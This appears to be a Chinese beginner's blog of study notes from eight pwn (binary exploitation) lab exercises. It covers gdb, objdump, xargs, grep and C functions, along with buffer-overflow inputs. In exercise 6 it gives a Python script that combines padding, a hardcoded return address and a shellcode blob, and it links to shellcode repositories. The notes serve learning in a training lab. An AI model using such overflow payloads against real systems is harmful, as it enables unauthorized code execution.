刚开始做pwn的题目,从基础开始咯,所以在合天上先总结一些学到的指令。(基础gdb就不多说了)
{!:在数据填充的时候不可以用换行符号进行填充}
一、Pwn基础练习1
查询pwn程序的c语言源代码
cat pwn.c
直接将64个A和一个B通过管道输入到程序中
python -c “print ‘A’*64+’B’” | ./pwn
二、Pwn基础练习2
Linux的xargs命令可以将输入数据当做命令行参数传给指定的程序。
将AAA BBB CCC传给指定的test指令然后进行输出。
(用户函数中没有获取函数值语句的程序当中)
python -c “print ‘AAA BBB CCC’” | xargs ./test
以字节为单位查看内存中0x34333231的表示(其中/4xb用于控制输出格式,4表示4个长度单位,x表示以16进制方式显示,b表示单位为字节)
x /4xb $esp+0x5C
三、Pwn基础练习3
Python基础知识
Python的os模块提供创建子进程以及修改环境变量的函数,其中os.system函数可以创建一个子进程,且子进程会继承父进程的环境变量参数信息;os.putenv可以修改进程的环境变量参数信息。
运行脚本就可以把这题pwn成功
import os
defpwn():
os.putenv(“HEETIAN”,”A”*64+”\x0a\x0d\x0a\x0d”)
os.system(“./pwn3”)
if name ==”main“:
pwn()
在shell输入下面指令为子进程添加一个新的环境变量(除了通过export添加环境变量以外,我们还可以通过函数getenv、putenv、setenv等对环境变量进行操作。)
export testenv=”Hello_World”
Linux Shell中,可以使用$()或者两个反引号()来包裹一条shell命令,并返回shell命令的执行结果。
比如执行export testenv2=
python -c “print ‘A’*20”`命令后,再执行./env可以看到有一个名为testenv2的环境变量,其值为20个A。
export testenv2=
python -c "print 'A'*20"
四、Pwn基础练习4
一、objdump使用
使用objdump工具可以查看一个目标文件的许多内部信息,objdump有许多可选的参数选项,通过控制这些参数选项可以输出不同的文件信息。
使用下面这条指令可以看到关于pwn4程序的反汇编指令列表,其中-d选项表示进行反汇编操作
objdump -d pwn4
五、Pwn基础练习5
1、C语言函数调用约定通过压栈实现参数传递,且参数压栈顺序为从右往左
2、查询esp寄存器中的值
i r $esp
六、Pwn基础练习6
二、Shellcode
Shellcode指缓冲区溢出攻击中植入进程的恶意代码,这段代码可以弹出一个消息框,也可以在目标机器上打开一个监听端口,甚至是删除目标机器上的重要文件等。
Shellcode通常需要使用汇编语言进行开发,并转换成二进制机器码,其内容和长度经常还会受到很多实际条件的限制,因此开发Shellcode通常都是非常困难的。在实际场景中,我们通常使用Metasploit这个工具来定制各种功能的Shellcode,当然也可以去网上查找一些现有的Shellcode进行测试,通常在shell-storm以及exploit-db等网站上都能找到一些比较成熟和稳定的shellcode,网址为:
http://shell-storm.org/shellcode/
http://www.exploit-db.com/shellcode/
具有复杂功能的Shellcode无法作用于不同类型的操作系统(如Windows、Linux)
将pwn6.py 脚本写到test文件里面 然后把test文本拖到pwn6程序里面运行。
python pwn6.py test
./pwn6 < test
shellcod的python脚本
shellcode = (“\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe” +
“\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff” +
“\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69” +
“\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81”)print ‘A’*76 + ‘\xd0\xd6\xff\xff’ + shellcode
七、Pwn基础练习7
一、__builtin_return_address函数
builtin_return_address函数接收一个参数,可以是0,1,2等。builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取主调函数的返回地址.
二、理解多层跳转
retn指令从栈顶弹出一个数据并赋值给EIP寄存器,程序继续执行时就相当于跳转到这个地址去执行代码了。
如果我们将返回地址覆盖为一条retn指令的地址,那么就又可以执行一条retn指令了,相当于再在栈顶弹出一个数据赋值给EIP寄存器。
三、函数作用
fflush()用于清空文件缓冲区,如果文件是以写的方式打开 的,则把缓冲区内容写入文件。其原型为:
int fflush(FILE* stream);
【参数】stream为文件指针。
【返回值】成功返回0,失败返回EOF,错误代码存于errno 中。指定的流没有缓冲区或者只读打开时也返回0值。
fflush()也可用于标准输入(stdin)和标准输出(stdout),用来清空标准输入输出缓冲区。
stdin 是 standard input 的缩写,即标准输入,一般是指键盘;标准输入缓冲区即是用来暂存从键盘输入的内容的缓冲区。
stdout 是 standard output 的缩写,即标准输出,一般是指显示器;标准输出缓冲区即是用来暂存将要显示的内容的缓冲区。
八、Pwn基础练习8
二、strdup函数
strdup可以用于复制一个字符串,我们通常使用字符串时会使用strcpy,这要求已经定义好了一个接收缓冲区。而strdup只接受一个参数,也就是要复制的字符串的地址,strdup()会先用maolloc()配置与参数字符串相同大小的的空间,然后将参数字符串的内容复制到该内存地址,然后把该地址返回。strdup返回的地址最后可以利用free()来释放。
三、grep命令
当输出信息非常多的时候,我们很难快速找到我们感兴趣的信息。使用grep命令可以对匹配特定正则表达式的文本进行搜索,并只输出匹配的行或文本。
我们可以使用管道将一个程序的输出当做grep的输入数据,grep会根据给定的正则表达式参数对输入数据进行过滤。
对于grep的参数需要注意这样一个问题:当参数中存在空格时需要用双引号将参数包裹起来,此外,是正则表达式里面的通配符,如果要查找,需要使用反斜杠进行转移,即*。